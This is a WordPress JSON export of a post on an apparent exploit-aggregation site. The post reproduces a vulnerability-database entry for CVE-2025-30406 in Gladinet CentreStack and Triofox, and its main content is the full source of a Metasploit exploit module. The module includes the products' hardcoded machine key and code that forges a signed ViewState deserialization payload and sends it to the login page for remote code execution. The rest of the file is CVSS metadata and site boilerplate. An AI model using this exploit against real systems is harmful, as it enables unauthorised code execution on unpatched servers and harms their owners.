{"id":15125,"date":"2025-08-29T15:37:30","date_gmt":"2025-08-29T15:37:30","guid":{"rendered":"http:\/\/localhost\/?p=15125"},"modified":"2025-08-29T15:37:30","modified_gmt":"2025-08-29T15:37:30","slug":"gladinet-centrestacktriofox-aspnet-viewstate-deserialization","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=15125","title":{"rendered":"Gladinet CentreStack\/Triofox ASP.NET ViewState Deserialization_MSF:EXPLOIT-WINDOWS-HTTP-GLADINET_VIEWSTATE_DESERIALIZATION_CVE_2025_30406-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:16:06&#8243;,&#8221;description&#8221;:&#8221;A vulnerability in Gladinet CentreStack and Triofox application using hardcoded           cryptographic keys for ViewState could allow an attacker&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:50&#8243;,&#8221;modified&#8221;:&#8221;2025-05-28T18:51:29&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Gladinet CentreStack\/Triofox ASP.NET ViewState Deserialization&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-WINDOWS-HTTP-GLADINET_VIEWSTATE_DESERIALIZATION_CVE_2025_30406-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-30406&#8243;],&#8221;sourceData&#8221;:&#8221;# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n\\nrequire &#8216;rex\/exploit\/view_state&#8217;\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n\\n  Rank = ExcellentRanking\\n\\n  include Msf::Exploit::Remote::HttpClient\\n  prepend Msf::Exploit::Remote::AutoCheck\\n\\n  # base64 encoded machine key\\n  MACHINE_KEY = &#8216;NTQ5NjgzMjI0MkNDMzIyOEUyOTJFRUZGQ0RBMDg5MTQ5RDc4OUUwQzREN0MxQTVEMDJCQzU0MkY3QzYyNzlCRTlERDc3MEM5RURENUQ2N0M2NkI3RTYyMTQxMUQzRTU3RUExODFCQkY4OUZEMjE5NTdEQ0RERkFDRkQ5MjZFMTY=&#8217;.freeze\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;Gladinet CentreStack\/Triofox ASP.NET ViewState Deserialization&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          A vulnerability in Gladinet CentreStack and Triofox application using hardcoded\\n          cryptographic keys for ViewState could allow an attacker to forge ViewState data.\\n          This can lead to unauthorized actions such as remote code execution.\\n          Both applications make use of a hardcoded machineKey in the IIS web.config file,\\n          which is responsible for securing ASP.NET ViewState data. If an attacker obtains\\n          the machineKey, they can forge ViewState payloads that pass integrity checks.\\n          This can result in ViewState deserialization attacks, potentially leading to\\n          remote code execution (RCE) on the web server.\\n\\n          Gladinet CentreStack versions up to 16.4.10315.56368 are vulnerable (fixed in 16.4.10315.56368).\\n          Gladinet Triofox versions up to 16.4.10317.56372 are vulnerable (fixed in 16.4.10317.56372).\\n          NOTE: There are other rebranded services that might be vulnerable and can be detected by this module.\\n        },\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;Huntress Team&#8217;, # discovery and detailed vulnerability write up\\n          &#8216;H00die Gr3y&#8217; # this metasploit module\\n        ],\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;CVE&#8217;, &#8216;2025-30406&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/www.huntress.com\/blog\/cve-2025-30406-critical-gladinet-centrestack-triofox-vulnerability-exploited-in-the-wild&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/attackerkb.com\/topics\/7ebXn71J6O\/cve-2025-30406&#8217;]\\n        ],\\n        &#8216;Platform&#8217; =\\u003e &#8216;win&#8217;,\\n        &#8216;Targets&#8217; =\\u003e [\\n          [\\n            &#8216;Windows Command&#8217;,\\n            {\\n              &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n              &#8216;Type&#8217; =\\u003e :windows_command\\n            }\\n          ]\\n        ],\\n        &#8216;DefaultOptions&#8217; =\\u003e {\\n          &#8216;RPORT&#8217; =\\u003e 443,\\n          &#8216;SSL&#8217; =\\u003e true\\n        },\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-04-03&#8217;,\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;SideEffects&#8217; =\\u003e [ARTIFACTS_ON_DISK, IOC_IN_LOGS],\\n          &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION]\\n        },\\n        &#8216;Privileged&#8217; =\\u003e false\\n      )\\n    )\\n\\n    register_options([\\n      OptString.new(&#8216;TARGETURI&#8217;, [ true, &#8216;The base path to the Gladinet CentreStack or Triofox application&#8217;, &#8216;\/&#8217; ])\\n    ])\\n  end\\n\\n  def execute_command(cmd, _opts = {})\\n    # get the __VIEWSTATEGENERATOR value from the vulnerable page\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;portal&#8217;, &#8216;loginpage.aspx&#8217;)\\n    })\\n    unless res\\u0026.code == 200\\n      fail_with(Failure::UnexpectedReply, &#8216;Non-200 HTTP response received while trying to get the __VIEWSTATEGENERATOR value.&#8217;)\\n    end\\n\\n    html = res.get_html_document\\n    if html\\n      # html identifier for the __VIEWSTATEGENERATOR: \\u003cinput type=\\&#8221;hidden\\&#8221; name=\\&#8221;__VIEWSTATEGENERATOR\\&#8221; id=\\&#8221;__VIEWSTATEGENERATOR\\&#8221; value=\\&#8221;3FE2630A\\&#8221; \/\\u003e\\n      generator = html.css(&#8216;input#__VIEWSTATEGENERATOR&#8217;)[0][&#8216;value&#8217;]\\n      viewstate_generator = [generator.to_i(16)].pack(&#8216;V&#8217;) unless generator.nil?\\n    else\\n      viewstate_generator = [&#8216;3FE2630A&#8217;.to_i(16)].pack(&#8216;V&#8217;)\\n    end\\n\\n    output_format = &#8216;raw&#8217;\\n    viewstate_validation_algorithm = &#8216;SHA256&#8217;\\n    viewstate_validation_key = [Base64.strict_decode64(MACHINE_KEY)].pack(&#8216;H*&#8217;)\\n\\n    serialized = ::Msf::Util::DotNetDeserialization.generate(\\n      cmd,\\n      gadget_chain: :TextFormattingRunProperties,\\n      formatter: :LosFormatter\\n    )\\n\\n    serialized = Rex::Exploit::ViewState.generate_viewstate(\\n      serialized,\\n      extra: viewstate_generator,\\n      algo: viewstate_validation_algorithm,\\n      key: viewstate_validation_key\\n    )\\n    transformed = ::Msf::Simple::Buffer.transform(serialized, output_format)\\n    vprint_status(transformed.to_s)\\n\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;portal&#8217;, &#8216;loginpage.aspx&#8217;),\\n      &#8216;vars_post&#8217; =\\u003e {\\n        &#8216;__LASTFOCUS&#8217; =\\u003e &#8221;,\\n        &#8216;__VIEWSTATE&#8217; =\\u003e transformed.to_s\\n      }\\n    })\\n    unless res\\u0026.code == 302\\n      fail_with(Failure::UnexpectedReply, &#8216;Non-302 HTTP response received while trying to execute the payload.&#8217;)\\n    end\\n  end\\n\\n  def check\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;portal&#8217;, &#8216;loginpage.aspx&#8217;)\\n    })\\n    return CheckCode::Safe(&#8216;Failed to identify that Gladinet CentreStack\/Triofox or similar service is running.&#8217;) unless res\\u0026.code == 200 \\u0026\\u0026 res.body.include?(&#8216;id=\\&#8221;__VIEWSTATEGENERATOR\\&#8221; value=\\&#8221;3FE2630A\\&#8221;&#8216;)\\n\\n    if res.body.include?(&#8216;CentreStack&#8217;)\\n      check_app = &#8216;CentreStack&#8217;\\n    elsif res.body.include?(&#8216;Triofox&#8217;)\\n      check_app = &#8216;Triofox&#8217;\\n    else\\n      check_app = &#8216;Unknown&#8217;\\n    end\\n\\n    build = res.body.match(\/\\\\(Build\\\\s*.*\\\\)\/)\\n    unless build.nil?\\n      version = build[0].gsub(\/[[:space:]]\/, &#8221;).split(&#8216;Build&#8217;)[1].chomp(&#8216;)&#8217;)\\n      rex_version = Rex::Version.new(version)\\n      if check_app == &#8216;CentreStack&#8217;\\n        return CheckCode::Appears(\\&#8221;Service #{check_app} (Build #{version})\\&#8221;) if rex_version \\u003c Rex::Version.new(&#8216;16.4.10315.56368&#8217;)\\n      elsif check_app == &#8216;Triofox&#8217;\\n        return CheckCode::Appears(\\&#8221;Service #{check_app} (Build #{version})\\&#8221;) if rex_version \\u003c Rex::Version.new(&#8216;16.4.10317.56372&#8217;)\\n      elsif check_app == &#8216;Unknown&#8217;\\n        return CheckCode::Detected(\\&#8221;Service #{check_app} (Build #{version})\\&#8221;) if rex_version \\u003c Rex::Version.new(&#8216;16.4.10317.56372&#8217;)\\n      end\\n      return CheckCode::Safe(\\&#8221;Service #{check_app} (Build #{version})\\&#8221;)\\n    end\\n\\n    CheckCode::Detected(\\&#8221;Service #{check_app} (Build not detected)\\&#8221;)\\n  end\\n\\n  def exploit\\n    print_status(\\&#8221;Executing #{target.name} for #{datastore[&#8216;PAYLOAD&#8217;]}\\&#8221;)\\n    execute_command(payload.encoded)\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/windows\/http\/gladinet_viewstate_deserialization_cve_2025_30406.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/windows\/http\/gladinet_viewstate_deserialization_cve_2025_30406\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:16:06&#8243;,&#8221;description&#8221;:&#8221;A vulnerability in Gladinet CentreStack and Triofox application using hardcoded cryptographic keys for ViewState could allow an attacker&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:50&#8243;,&#8221;modified&#8221;:&#8221;2025-05-28T18:51:29&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Gladinet CentreStack\/Triofox ASP.NET ViewState Deserialization&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-WINDOWS-HTTP-GLADINET_VIEWSTATE_DESERIALIZATION_CVE_2025_30406-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-30406&#8243;],&#8221;sourceData&#8221;:&#8221;# This module requires&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,169,13,7,11,5],"class_list":["post-15125","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Gladinet CentreStack\/Triofox ASP.NET ViewState Deserialization_MSF:EXPLOIT-WINDOWS-HTTP-GLADINET_VIEWSTATE_DESERIALIZATION_CVE_2025_30406- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=15125\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Gladinet CentreStack\/Triofox ASP.NET ViewState Deserialization_MSF:EXPLOIT-WINDOWS-HTTP-GLADINET_VIEWSTATE_DESERIALIZATION_CVE_2025_30406- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:16:06&#8243;,&#8221;description&#8221;:&#8221;A vulnerability in Gladinet CentreStack and Triofox application using hardcoded cryptographic keys for ViewState could allow an attacker&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:50&#8243;,&#8221;modified&#8221;:&#8221;2025-05-28T18:51:29&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Gladinet CentreStack\/Triofox ASP.NET ViewState Deserialization&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-WINDOWS-HTTP-GLADINET_VIEWSTATE_DESERIALIZATION_CVE_2025_30406-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-30406&#8243;],&#8221;sourceData&#8221;:&#8221;# This module requires...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=15125\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-08-29T15:37:30+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15125#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15125\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Gladinet CentreStack\\\/Triofox ASP.NET ViewState Deserialization_MSF:EXPLOIT-WINDOWS-HTTP-GLADINET_VIEWSTATE_DESERIALIZATION_CVE_2025_30406-\",\"datePublished\":\"2025-08-29T15:37:30+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15125\"},\"wordCount\":1072,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"metasploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=15125#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15125\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15125\",\"name\":\"Gladinet CentreStack\\\/Triofox ASP.NET ViewState Deserialization_MSF:EXPLOIT-WINDOWS-HTTP-GLADINET_VIEWSTATE_DESERIALIZATION_CVE_2025_30406- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-08-29T15:37:30+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15125#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=15125\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15125#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Gladinet CentreStack\\\/Triofox ASP.NET ViewState Deserialization_MSF:EXPLOIT-WINDOWS-HTTP-GLADINET_VIEWSTATE_DESERIALIZATION_CVE_2025_30406-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Gladinet CentreStack\/Triofox ASP.NET ViewState Deserialization_MSF:EXPLOIT-WINDOWS-HTTP-GLADINET_VIEWSTATE_DESERIALIZATION_CVE_2025_30406- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=15125","og_locale":"en_US","og_type":"article","og_title":"Gladinet CentreStack\/Triofox ASP.NET ViewState Deserialization_MSF:EXPLOIT-WINDOWS-HTTP-GLADINET_VIEWSTATE_DESERIALIZATION_CVE_2025_30406- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:16:06&#8243;,&#8221;description&#8221;:&#8221;A vulnerability in Gladinet CentreStack and Triofox application using hardcoded cryptographic keys for ViewState could allow an attacker&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:50&#8243;,&#8221;modified&#8221;:&#8221;2025-05-28T18:51:29&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Gladinet CentreStack\/Triofox ASP.NET ViewState Deserialization&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-WINDOWS-HTTP-GLADINET_VIEWSTATE_DESERIALIZATION_CVE_2025_30406-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-30406&#8243;],&#8221;sourceData&#8221;:&#8221;# This module requires...","og_url":"https:\/\/zero.redgem.net\/?p=15125","og_site_name":"zero redgem","article_published_time":"2025-08-29T15:37:30+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=15125#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=15125"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Gladinet CentreStack\/Triofox ASP.NET ViewState Deserialization_MSF:EXPLOIT-WINDOWS-HTTP-GLADINET_VIEWSTATE_DESERIALIZATION_CVE_2025_30406-","datePublished":"2025-08-29T15:37:30+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=15125"},"wordCount":1072,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","metasploit","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=15125#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=15125","url":"https:\/\/zero.redgem.net\/?p=15125","name":"Gladinet CentreStack\/Triofox ASP.NET ViewState Deserialization_MSF:EXPLOIT-WINDOWS-HTTP-GLADINET_VIEWSTATE_DESERIALIZATION_CVE_2025_30406- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-08-29T15:37:30+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=15125#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=15125"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=15125#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Gladinet CentreStack\/Triofox ASP.NET ViewState Deserialization_MSF:EXPLOIT-WINDOWS-HTTP-GLADINET_VIEWSTATE_DESERIALIZATION_CVE_2025_30406-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/15125","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=15125"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/15125\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=15125"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=15125"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=15125"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}